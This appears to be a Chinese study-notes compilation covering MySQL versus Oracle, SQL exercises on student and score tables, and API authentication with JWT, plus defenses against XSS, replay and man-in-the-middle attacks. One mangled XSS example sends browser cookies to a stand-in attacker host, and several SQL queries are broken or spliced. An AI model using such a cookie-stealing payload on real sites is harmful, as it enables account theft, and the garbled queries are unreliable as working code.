mysql逻辑备份时要锁定数据,才能保证备份的数据是一致的,影响业务正常的dml使用。
oracle有成熟的热备工具rman,热备时,不影响用户使用数据库。即使备份的数据库不一致,也可以在恢复时通过归档日志和联机重做日志进行一致的回复。
mysql:
myisam的引擎,用mysql自带的mysqlhostcopy热备时,需要给表加读锁,影响dml操作。
innodb的引擎,它会备份innodb的表和索引,但是不会备份.frm文件。用ibbackup备份时,会有一个日志文件记录备份期间的数据变化,因此可以不用锁表,不影响其他用户使用数据库。但此工具是收费的。
innobackup是结合ibbackup使用的一个脚本,他会协助对.frm文件的备份。
mysql对sql语句有很多非常实用而方便的扩展,比如limit功能,insert可以一次插入多行数据,select某些管理数据可以不加from。
oracle在这方面感觉更加稳重传统一些。
oracle:既有推或拉式的传统数据复制,也有dataguard的双机或多机容灾机制,主库出现问题是,可以自动切换备库到主库,但配置管理较复杂。
mysql:复制服务器配置简单,但主库出问题时,丛库有可能丢失一定的数据。且需要手工切换丛库到主库。
oracle有各种成熟的性能诊断调优工具,能实现很多自动分析、诊断功能。比如awr、addm、sqltrace、tkproof等
mysql的诊断调优方法较少,主要有慢查询日志。
mysql的用户与主机有关,感觉没有什么意义,另外更容易被仿冒主机及ip有可乘之机。
oracle的权限与安全概念比较传统,中规中矩。
oracle的分区表和分区索引功能很成熟,可以提高用户访问db的体验。
mysql的分区表还不太成熟稳定。
oracle有多种成熟的命令行、图形界面、web管理工具,还有很多第三方的管理工具,管理极其方便高效。
mysql管理工具较少,在linux下的管理工具的安装有时要安装额外的包(phpmyadmin, etc),有一定复杂性。
分页查询:就是将数据分段查询出来,一次只查询数据的一部分这样做可以减少系统资源开销,减少数据量,可以提高网络传输速度分页在不同的数据库中的SQL语句是不同的
ROWNUM字段不存在于任何一张表中,但是每张表都可以查询该字段。该字段的值是结果集中每条记录的行号ROWNUM字段的值是动态生成的,伴随查询过程。只要可以查询出一条记录,ROWNUM就会为该条记录生成行号,从1开始每次递增1。
由于ROWNUM是在查询表的过程中进行编号的,所以在使用ROWNUM对结果集编行号的查询过程中不要使用ROWNUM做大于1以上数字的判断,否则结果集没有任何数据
如:select * from table_A where rownum > 1是查不到任何数据的,同样,下面的语句也是查不到任何数据的
SELECT *
FROM(
SELECT ROWNUM rn,p.*
FROM table_A p
)
WHERE rn BETWEEN 6 AND 10
如果想查出来表中6到10之间的数据,可以先把伪列查出来当做表中的一个字段,然后对该字段做where条件查询
select * from
(select * from
(select rownum rn,p.* from table_A p)
where rownum <= 10)
where rn > 6
### 2.mysql中的分页查询则比较简单,只需要用limit关键词就可以
如:
select * from table_A limint 6,10
start:(page-1)*rows+1
end:page*rows
page:页数 rows:每页显示的记录数
有三张表:学生表student(id, name,department_id) --id, 学生姓名,系id;
CREATE TABLE `student`(
`id` VARCHAR(20),
`name` VARCHAR(20) NOT NULL DEFAULT '',
`department_id` VARCHAR(20) NOT NULL DEFAULT '',
PRIMARY KEY(`id`)
);
院系表department(id, deprtment_id)id, 系id,
CREATE TABLE `department`(
`id` VARCHAR(20),
`department_id` VARCHAR(20) NOT NULL DEFAULT '',
PRIMARY KEY(`id`)
);
成绩表(c_id, d_name, s_id, score)–课程id, 课程名,学生id,分数
增加课程表:
Course(c_id,c_name,t_id) – --课程编号, 课程名称, 教师编号
表名和字段
–1.学生表
Student(s_id,s_name,s_birth,s_sex) --学生编号,学生姓名, 出生年月,学生性别
–2.课程表
Course(c_id,c_name,t_id) – --课程编号, 课程名称, 教师编号
–3.教师表
Teacher(t_id,t_name) --教师编号,教师姓名
–4.成绩表
Score(s_id,c_id,s_score) --学生编号,课程编号,分数
--建表
--学生表
CREATE TABLE `Student`(
`s_id` VARCHAR(20),
`s_name` VARCHAR(20) NOT NULL DEFAULT '',
`s_birth` VARCHAR(20) NOT NULL DEFAULT '',
`s_sex` VARCHAR(10) NOT NULL DEFAULT '',
PRIMARY KEY(`s_id`)
);
--课程表
CREATE TABLE `Course`(
`c_id` VARCHAR(20),
`c_name` VARCHAR(20) NOT NULL DEFAULT '',
`t_id` VARCHAR(20) NOT NULL,
PRIMARY KEY(`c_id`)
);
--教师表
CREATE TABLE `Teacher`(
`t_id` VARCHAR(20),
`t_name` VARCHAR(20) NOT NULL DEFAULT '',
PRIMARY KEY(`t_id`)
);
--成绩表
CREATE TABLE `Score`(
`s_id` VARCHAR(20),
`c_id` VARCHAR(20),
`s_score` INT(3),
PRIMARY KEY(`s_id`,`c_id`)
);
--插入学生表测试数据
insert into Student values('01' , '赵雷' , '1990-01-01' , '男');
insert into Student values('08' , '王菊' , '1990-01-20' , '女');
--课程表测试数据
insert into Course values('01' , '语文' , '02');
--教师表测试数据
insert into Teacher values('01' , '张三');
--成绩表测试数据
insert into Score values('01' , '01' , 80);
面试遇到题目
-- sql语句
-- 执行SQL
SELECT * FROM ARTICLE LEFT JOIN COMMENTS ARTICLE.ID = COMMENTS.ARTICLE_ID
CREATE TABLE `ARTICLE`(
`ID` VARCHAR(20),
`TITLE` VARCHAR(20) NOT NULL DEFAULT '',
`AUTHOR` VARCHAR(20) NOT NULL DEFAULT '',
PRIMARY KEY(`ID`)
);
CREATE TABLE `COMMENTS`(
`ID` VARCHAR(20),
`CONTENT` VARCHAR(20) NOT NULL DEFAULT '',
`ARTICLE_ID` VARCHAR(20) NOT NULL,
PRIMARY KEY(`ID`)
);
insert into ARTICLE values('100' , '四世同堂' , '老舍' );
insert into ARTICLE values('200' , '狂人日记' , '鲁迅' );
insert into ARTICLE values('300' , '呐喊' , '鲁迅' );
insert into COMMENTS values('100' , '好文章' , '100' );
insert into COMMENTS values('200' , '收藏了' , '200' );
insert into COMMENTS values('300' , '不错' , '100' );
insert into COMMENTS values('400' , '受益匪浅' , '100' );
insert into COMMENTS values('500' , '太棒了' , '200' );
-- 1、查询"01"课程比"02"课程成绩高的学生的信息及课程分数
select a.* ,b.s_score as 01_score,c.s_score as 02_score from
student a
join score b on a.s_id=b.s_id and b.c_id='01'
left join score c on a.s_id=c.s_id and c.c_id='02' or c.c_id = NULL where b.s_score>c.s_score
--也可以这样写
select a.*,b.s_score as 01_score,c.s_score as 02_score from student a,score b,score c
where a.s_id=b.s_id
and a.s_id=c.s_id
and b.c_id='01'
and c.c_id='02'
and b.s_score>c.s_score
-- 2、查询"01"课程比"02"课程成绩低的学生的信息及课程分数
select a.* ,b.s_score as 01_score,c.s_score as 02_score from
student a left join score b on a.s_id=b.s_id and b.c_id='01' or b.c_id=NULL
join score c on a.s_id=c.s_id and c.c_id='02' where b.s_score=60;
-- 4、查询平均成绩小于60分的同学的学生编号和学生姓名和平均成绩
-- (包括有成绩的和无成绩的)
select b.s_id,b.s_name,ROUND(AVG(a.s_score),2) as avg_score from
student b
left join score a on b.s_id = a.s_id
GROUP BY b.s_id,b.s_name HAVING avg_score <60
union
select a.s_id,a.s_name,0 as avg_score from
student a
where a.s_id not in (
select distinct s_id from score);
-- 5、查询所有同学的学生编号、学生姓名、选课总数、所有课程的总成绩
select a.s_id,a.s_name,count(b.c_id) as sum_course,sum(b.s_score) as sum_score from
student a
left join score b on a.s_id=b.s_id
GROUP BY a.s_id,a.s_name;
-- 6、查询"李"姓老师的数量
select count(t_id) from teacher where t_name like '李%';
-- 7、查询学过"张三"老师授课的同学的信息
select a.* from
student a
join score b on a.s_id=b.s_id where b.c_id in(
select c_id from course where t_id =(
select t_id from teacher where t_name = '张三'));
-- 8、查询没学过"张三"老师授课的同学的信息
select * from
student c
where c.s_id not in(
select a.s_id from student a join score b on a.s_id=b.s_id where b.c_id in(
select a.c_id from course a join teacher b on a.t_id = b.t_id where t_name ='张三'));
-- 9、查询学过编号为"01"并且也学过编号为"02"的课程的同学的信息
select a.* from
student a,score b,score c
where a.s_id = b.s_id and a.s_id = c.s_id and b.c_id='01' and c.c_id='02';
-- 10、查询学过编号为"01"但是没有学过编号为"02"的课程的同学的信息
select a.* from
student a
where a.s_id in (select s_id from score where c_id='01' ) and a.s_id not in(select s_id from score where c_id='02')
-- 11、查询没有学全所有课程的同学的信息
--@wendiepei的写法
select s.* from student s
left join Score s1 on s1.s_id=s.s_id
group by s.s_id having count(s1.c_id)<(select count(*) from course)
--@k1051785839的写法
select *
from student
where s_id not in(
select s_id from score t1
group by s_id having count(*) =(select count(distinct c_id) from course))
-- 12、查询至少有一门课与学号为"01"的同学所学相同的同学的信息
select * from student where s_id in(
select distinct a.s_id from score a where a.c_id in(select a.c_id from score a where a.s_id='01')
);
-- 13、查询和"01"号的同学学习的课程完全相同的其他同学的信息
--@ouyang_1993的写法
SELECT
Student.*
FROM
Student
WHERE
s_id IN (SELECT s_id FROM Score GROUP BY s_id HAVING COUNT(s_id) = (
#下面的语句是找到'01'同学学习的课程数
SELECT COUNT(c_id) FROM Score WHERE s_id = '01'
)
)
AND s_id NOT IN (
#下面的语句是找到学过‘01’同学没学过的课程,有哪些同学。并排除他们
SELECT s_id FROM Score
WHERE c_id IN(
#下面的语句是找到‘01’同学没学过的课程
SELECT DISTINCT c_id FROM Score
WHERE c_id NOT IN (
#下面的语句是找出‘01’同学学习的课程
SELECT c_id FROM Score WHERE s_id = '01'
)
) GROUP BY s_id
) #下面的条件是排除01同学
AND s_id NOT IN ('01')
--@k1051785839的写法
SELECT
t3.*
FROM
(
SELECT
s_id,
group_concat(c_id ORDER BY c_id) group1
FROM
score
WHERE
s_id <> '01'
GROUP BY
s_id
) t1
INNER JOIN (
SELECT
group_concat(c_id ORDER BY c_id) group2
FROM
score
WHERE
s_id = '01'
GROUP BY
s_id
) t2 ON t1.group1 = t2.group2
INNER JOIN student t3 ON t1.s_id = t3.s_id
-- 14、查询没学过"张三"老师讲授的任一门课程的学生姓名
select a.s_name from student a where a.s_id not in (
select s_id from score where c_id =
(select c_id from course where t_id =(
select t_id from teacher where t_name = '张三')));
-- 15、查询两门及其以上不及格课程的同学的学号,姓名及其平均成绩
select a.s_id,a.s_name,ROUND(AVG(b.s_score)) from
student a
left join score b on a.s_id = b.s_id
where a.s_id in(
select s_id from score where s_score<60 GROUP BY s_id having count(1)>=2)
GROUP BY a.s_id,a.s_name
-- 16、检索"01"课程分数小于60,按分数降序排列的学生信息
select a.*,b.c_id,b.s_score from
student a,score b
where a.s_id = b.s_id and b.c_id='01' and b.s_score<60 ORDER BY b.s_score DESC;
-- 17、按平均成绩从高到低显示所有学生的所有课程的成绩以及平均成绩
select a.s_id,(select s_score from score where s_id=a.s_id and c_id='01') as 语文,
(select s_score from score where s_id=a.s_id and c_id='02') as 数学,
(select s_score from score where s_id=a.s_id and c_id='03') as 英语,
round(avg(s_score),2) as 平均分 from score a GROUP BY a.s_id ORDER BY 平均分 DESC;
--@喝完这杯还有一箱的写法
SELECT a.s_id,MAX(CASE a.c_id WHEN '01' THEN a.s_score END ) 语文,
MAX(CASE a.c_id WHEN '02' THEN a.s_score END ) 数学,
MAX(CASE a.c_id WHEN '03' THEN a.s_score END ) 英语,
avg(a.s_score),b.s_name FROM Score a JOIN Student b ON a.s_id=b.s_id GROUP BY a.s_id ORDER BY 5 DESC
-- 18.查询各科成绩最高分、最低分和平均分:以如下形式显示:课程ID,课程name,最高分,最低分,平均分,及格率,中等率,优良率,优秀率
--及格为>=60,中等为:70-80,优良为:80-90,优秀为:>=90
select a.c_id,b.c_name,MAX(s_score),MIN(s_score),ROUND(AVG(s_score),2),
ROUND(100*(SUM(case when a.s_score>=60 then 1 else 0 end)/SUM(case when a.s_score then 1 else 0 end)),2) as 及格率,
ROUND(100*(SUM(case when a.s_score>=70 and a.s_score<=80 then 1 else 0 end)/SUM(case when a.s_score then 1 else 0 end)),2) as 中等率,
ROUND(100*(SUM(case when a.s_score>=80 and a.s_score<=90 then 1 else 0 end)/SUM(case when a.s_score then 1 else 0 end)),2) as 优良率,
ROUND(100*(SUM(case when a.s_score>=90 then 1 else 0 end)/SUM(case when a.s_score then 1 else 0 end)),2) as 优秀率
from score a left join course b on a.c_id = b.c_id GROUP BY a.c_id,b.c_name
-- 19、按各科成绩进行排序,并显示排名
-- mysql没有rank函数
select a.s_id,a.c_id,
@i:=@i +1 as i保留排名,
@k:=(case when @score=a.s_score then @k else @i end) as rank不保留排名,
@score:=a.s_score as score
from (
select s_id,c_id,s_score from score GROUP BY s_id,c_id,s_score ORDER BY s_score DESC
)a,(select @k:=0,@i:=0,@score:=0)s
--@k1051785839的写法
(select * from (select
t1.c_id,
t1.s_score,
(select count(distinct t2.s_score) from score t2 where t2.s_score>=t1.s_score and t2.c_id='01') rank
FROM score t1 where t1.c_id='01'
order by t1.s_score desc) t1)
union
(select * from (select
t1.c_id,
t1.s_score,
(select count(distinct t2.s_score) from score t2 where t2.s_score>=t1.s_score and t2.c_id='02') rank
FROM score t1 where t1.c_id='02'
order by t1.s_score desc) t2)
union
(select * from (select
t1.c_id,
t1.s_score,
(select count(distinct t2.s_score) from score t2 where t2.s_score>=t1.s_score and t2.c_id='03') rank
FROM score t1 where t1.c_id='03'
order by t1.s_score desc) t3)
-- 20、查询学生的总成绩并进行排名
select a.s_id,
@i:=@i+1 as i,
@k:=(case when @score=a.sum_score then @k else @i end) as rank,
@score:=a.sum_score as score
from (select s_id,SUM(s_score) as sum_score from score GROUP BY s_id ORDER BY sum_score DESC)a,
(select @k:=0,@i:=0,@score:=0)s
-- 21、查询不同老师所教不同课程平均分从高到低显示
select a.t_id,c.t_name,a.c_id,ROUND(avg(s_score),2) as avg_score from course a
left join score b on a.c_id=b.c_id
left join teacher c on a.t_id=c.t_id
GROUP BY a.c_id,a.t_id,c.t_name ORDER BY avg_score DESC;
-- 22、查询所有课程的成绩第2名到第3名的学生信息及该课程成绩
select d.*,c.排名,c.s_score,c.c_id from (
select a.s_id,a.s_score,a.c_id,@i:=@i+1 as 排名 from score a,(select @i:=0)s where a.c_id='01'
ORDER BY a.s_score DESC
)c
left join student d on c.s_id=d.s_id
where 排名 BETWEEN 2 AND 3
UNION
select d.*,c.排名,c.s_score,c.c_id from (
select a.s_id,a.s_score,a.c_id,@j:=@j+1 as 排名 from score a,(select @j:=0)s where a.c_id='02'
ORDER BY a.s_score DESC
)c
left join student d on c.s_id=d.s_id
where 排名 BETWEEN 2 AND 3
UNION
select d.*,c.排名,c.s_score,c.c_id from (
select a.s_id,a.s_score,a.c_id,@k:=@k+1 as 排名 from score a,(select @k:=0)s where a.c_id='03'
ORDER BY a.s_score DESC
)c
left join student d on c.s_id=d.s_id
where 排名 BETWEEN 2 AND 3;
-- 23、统计各科成绩各分数段人数:课程编号,课程名称,[100-85],[85-70],[70-60],[0-60]及所占百分比
select distinct f.c_name,a.c_id,b.`85-100`,b.百分比,c.`70-85`,c.百分比,d.`60-70`,d.百分比,e.`0-60`,e.百分比 from score a
left join (select c_id,SUM(case when s_score >85 and s_score <=100 then 1 else 0 end) as `85-100`,
ROUND(100*(SUM(case when s_score >85 and s_score <=100 then 1 else 0 end)/count(*)),2) as 百分比
from score GROUP BY c_id)b on a.c_id=b.c_id
left join (select c_id,SUM(case when s_score >70 and s_score <=85 then 1 else 0 end) as `70-85`,
ROUND(100*(SUM(case when s_score >70 and s_score <=85 then 1 else 0 end)/count(*)),2) as 百分比
from score GROUP BY c_id)c on a.c_id=c.c_id
left join (select c_id,SUM(case when s_score >60 and s_score <=70 then 1 else 0 end) as `60-70`,
ROUND(100*(SUM(case when s_score >60 and s_score <=70 then 1 else 0 end)/count(*)),2) as 百分比
from score GROUP BY c_id)d on a.c_id=d.c_id
left join (select c_id,SUM(case when s_score >=0 and s_score <=60 then 1 else 0 end) as `0-60`,
ROUND(100*(SUM(case when s_score >=0 and s_score <=60 then 1 else 0 end)/count(*)),2) as 百分比
from score GROUP BY c_id)e on a.c_id=e.c_id
left join course f on a.c_id = f.c_id
-- 24、查询学生平均成绩及其名次
select a.s_id,
@i:=@i+1 as '不保留空缺排名',
@k:=(case when @avg_score=a.avg_s then @k else @i end) as '保留空缺排名',
@avg_score:=avg_s as '平均分'
from (select s_id,ROUND(AVG(s_score),2) as avg_s from score GROUP BY s_id ORDER BY avg_s DESC)a,(select @avg_score:=0,@i:=0,@k:=0)b;
-- 25、查询各科成绩前三名的记录
-- 1.选出b表比a表成绩大的所有组
-- 2.选出比当前id成绩大的 小于三个的
select a.s_id,a.c_id,a.s_score from score a
left join score b on a.c_id = b.c_id and a.s_score=85
-- 34、查询课程名称为"数学",且分数低于60的学生姓名和分数
select a.s_name,b.s_score from score b join student a on a.s_id=b.s_id where b.c_id=(
select c_id from course where c_name ='数学') and b.s_score<60
-- 35、查询所有学生的课程及分数情况;
select a.s_id,a.s_name,
SUM(case c.c_name when '语文' then b.s_score else 0 end) as '语文',
SUM(case c.c_name when '数学' then b.s_score else 0 end) as '数学',
SUM(case c.c_name when '英语' then b.s_score else 0 end) as '英语',
SUM(b.s_score) as '总分'
from student a left join score b on a.s_id = b.s_id
left join course c on b.c_id = c.c_id
GROUP BY a.s_id,a.s_name
-- 36、查询任何一门课程成绩在70分以上的姓名、课程名称和分数;
select a.s_name,b.c_name,c.s_score from course b left join score c on b.c_id = c.c_id
left join student a on a.s_id=c.s_id where c.s_score>=70
-- 37、查询不及格的课程
select a.s_id,a.c_id,b.c_name,a.s_score from score a left join course b on a.c_id = b.c_id
where a.s_score<60
--38、查询课程编号为01且课程成绩在80分以上的学生的学号和姓名;
select a.s_id,b.s_name from score a LEFT JOIN student b on a.s_id = b.s_id
where a.c_id = '01' and a.s_score>80
-- 39、求每门课程的学生人数
select count(*) from score GROUP BY c_id;
-- 40、查询选修"张三"老师所授课程的学生中,成绩最高的学生信息及其成绩
-- 查询老师id
select c_id from course c,teacher d where c.t_id=d.t_id and d.t_name='张三'
-- 查询最高分(可能有相同分数)
select MAX(s_score) from score where c_id='02'
-- 查询信息
select a.*,b.s_score,b.c_id,c.c_name from student a
LEFT JOIN score b on a.s_id = b.s_id
LEFT JOIN course c on b.c_id=c.c_id
where b.c_id =(select c_id from course c,teacher d where c.t_id=d.t_id and d.t_name='张三')
and b.s_score in (select MAX(s_score) from score where c_id='02')
-- 41、查询不同课程成绩相同的学生的学生编号、课程编号、学生成绩
select DISTINCT b.s_id,b.c_id,b.s_score from score a,score b where a.c_id != b.c_id and a.s_score = b.s_score
-- 42、查询每门功成绩最好的前两名
-- 牛逼的写法
select a.s_id,a.c_id,a.s_score from score a
where (select COUNT(1) from score b where b.c_id=a.c_id and b.s_score>=a.s_score)<=2 ORDER BY a.c_id
-- 43、统计每门课程的学生选修人数(超过5人的课程才统计)。要求输出课程号和选修人数,查询结果按人数降序排列,若人数相同,按课程号升序排列
select c_id,count(*) as total from score GROUP BY c_id HAVING total>5 ORDER BY total,c_id ASC
-- 44、检索至少选修两门课程的学生学号
select s_id,count(*) as sel from score GROUP BY s_id HAVING sel>=2
-- 45、查询选修了全部课程的学生信息
select * from student where s_id in(
select s_id from score GROUP BY s_id HAVING count(*)=(select count(*) from course))
--46、查询各学生的年龄
-- 按照出生日期来算,当前月日 < 出生年月的月日则,年龄减一
select s_birth,(DATE_FORMAT(NOW(),'%Y')-DATE_FORMAT(s_birth,'%Y') -
(case when DATE_FORMAT(NOW(),'%m%d')>DATE_FORMAT(s_birth,'%m%d') then 0 else 1 end)) as age
from student;
-- 47、查询本周过生日的学生
select * from student where WEEK(DATE_FORMAT(NOW(),'%Y%m%d'))=WEEK(s_birth)
select * from student where YEARWEEK(s_birth)=YEARWEEK(DATE_FORMAT(NOW(),'%Y%m%d'))
select WEEK(DATE_FORMAT(NOW(),'%Y%m%d'))
-- 48、查询下周过生日的学生
select * from student where WEEK(DATE_FORMAT(NOW(),'%Y%m%d'))+1 =WEEK(s_birth)
-- 49、查询本月过生日的学生
select * from student where MONTH(DATE_FORMAT(NOW(),'%Y%m%d')) =MONTH(s_birth)
-- 50、查询下月过生日的学生
select * from student where MONTH(DATE_FORMAT(NOW(),'%Y%m%d'))+1 =MONTH(s_birth)
HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password,简言之,Basic Auth是配合RESTful API 使用的最简单的认证方式,只需提供用户名密码即可,但由于有把用户名密码暴露给第三方客户端的风险,在生产环境下被使用的越来越少。因此,在开发对外开放的RESTful API时,尽量避免采用HTTP Basic Auth
OAuth(开放授权)是一个开放的授权标准,允许用户让第三方应用访问该用户在某一web服务上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用。
OAuth允许用户提供一个令牌,而不是用户名和密码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的第三方系统(例如,视频编辑网站)在特定的时段(例如,接下来的2小时内)内访问特定的资源(例如仅仅是某一相册中的视频)。这样,OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息,而非所有内容
下面是OAuth2.0的流程:
这种基于OAuth的认证机制适用于个人消费者类的互联网产品,如社交类APP等应用,但是不太适合拥有自有认证权限管理的企业应用;
Cookie认证机制就是为一次请求认证在服务端创建一个Session对象,同时在客户端的浏览器端创建了一个Cookie对象;通过客户端带上来Cookie对象来与服务器端的session对象匹配来实现状态管理的。默认的,当我们关闭浏览器的时候,cookie会被删除。但可以通过修改cookie 的expire time使cookie在一定时间内有效;
Token机制相对于Cookie机制又有什么好处呢?
JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。其
一个JWT实际上就是一个字符串,它由三部分组成,头部、载荷与签名。
载荷(Payload)
{ "iss": "Online JWT Builder",
"iat": 1416797419,
"exp": 1448333419,
"aud": "www.example.com",
"sub": "[email protected]",
"GivenName": "Johnny",
"Surname": "Rocket",
"Email": "[email protected]",
"Role": [ "Manager", "Project Administrator" ]
}
将上面的JSON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
小知识:Base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个比特为一个单元,对应某个可打印字符。三个字节有24个比特,对应于4个Base64单元,即3个字节需要用4个可打印字符来表示。JDK 中提供了非常方便的 BASE64Encoder 和 BASE64Decoder,用它们可以非常方便的完成基于 BASE64 的编码和解码
头部(Header)
JWT还需要一个头部,头部用于描述关于该JWT的最基本的信息,例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。
{
"typ": "JWT",
"alg": "HS256"
}
在头部指明了签名算法是HS256算法。
当然头部也要进行BASE64编码,编码后的字符串如下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
签名(Signature)
将上面的两个编码后的字符串都用句号.连接在一起(头部在前),就形成了:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0
最后,我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候,我们还需要提供一个密钥(secret)。如果我们用mystar作为密钥的话,那么就可以得到我们加密后的内容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
最后将这一部分签名也拼接在被签名的字符串后面,我们就得到了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
在我们的请求URL中会带上这串JWT字符串:
https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
下面我们从一个实例来看如何运用JWT机制实现认证:
基于Token的认证机制会在每一次请求中都带上完成签名的Token信息,这个Token信息可能在COOKIE
中,也可能在HTTP的Authorization头中;
对Token认证机制有5点直接注意的地方:
Java中对JWT的支持可以考虑使用JJWT开源库;JJWT实现了JWT, JWS, JWE 和 JWA RFC规范;下面将简单举例说明其使用:
生成Token码
import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;
//Sample method to construct a JWT
private String createJWT(String id, String issuer, String subject, long ttlMillis) {
//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);
//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
//Let's set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
.setIssuedAt(now)
.setSubject(subject)
.setIssuer(issuer)
.signWith(signatureAlgorithm, signingKey);
//if it has been specified, let's add the expiration
if (ttlMillis >= 0) {
long expMillis = nowMillis + ttlMillis;
Date exp = new Date(expMillis);
builder.setExpiration(exp);
}
//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}
解码和验证Token码
import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;
//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()
.setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
.parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration());
}
如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。
浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:
<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"
这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?
//设置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
//设置多个cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");
//设置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;
所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:
1、时间戳 +共享秘钥
这种方案,客户端和服务端都需要知道:
客户端
auth_header = JWT.encode({
user_id: 123,
iat: Time.now.to_i, # 指定token发布时间
exp: Time.now.to_i + 2 # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率;
}, "" )
RestClient.get("http://api.example.com/", authorization: auth_header)
服务端
class ApiController < ActionController::Base
attr_reader :current_user
before_action :set_current_user_from_jwt_token
def set_current_user_from_jwt_token
# Step 1:解码JWT,并获取User ID,这个时候不对Token签名进行检查
# the signature. Note JWT tokens are *not* encrypted, but signed.
payload = JWT.decode(request.authorization, nil, false)
# Step 2: 检查该用户是否存在于数据库
@current_user = User.find(payload['user_id'])
# Step 3: 检查Token签名是否正确.
JWT.decode(request.authorization, current_user.api_secret)
# Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的.
now = Time.now.to_i
if payload['iat'] > now || payload['exp'] < now
# 如果过期则返回401
end
rescue JWT::DecodeError
# 返回 401
end
end
2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
客户端
auth_header = JWT.encode({
user_id: 123,
jti: rand(2 << 64).to_s, # 通过jti确保一个token只使用一次,防止replace attack
iat: Time.now.to_i, # 指定token发布时间.
exp: Time.now.to_i + 2 # 指定token过期时间为2秒后
}, "" )
RestClient.get("http://api.example.com/", authorization: auth_header)
服务端
def set_current_user_from_jwt_token:
# 前面的步骤参考上面
payload = JWT.decode(request.authorization, nil, false)
@current_user = User.find(payload['user_id'])
JWT.decode(request.authorization, current_user.api_secret)
now = Time.now.to_i
if payload['iat'] > now || payload['exp'] < now
# 返回401
end
# 下面将检查确保这个JWT之前没有被使用过
# 使用Redis的原子操作
# The redis 的键: :
key = "#{payload['user_id']}:#{payload['jti']}"
# 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. .
if redis.getset(key, "1")
# 返回401
#
end
# 进行键值过期检查
redis.expireat(key, payload['exp'] + 2)
end
所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。
参考目录:
https://stormpath.com/blog/build-secure-user-interfaces-using-jwts
https://auth0.com/blog/2014/01/27/ten-things-you-should-know-about-tokens-and-cookies/
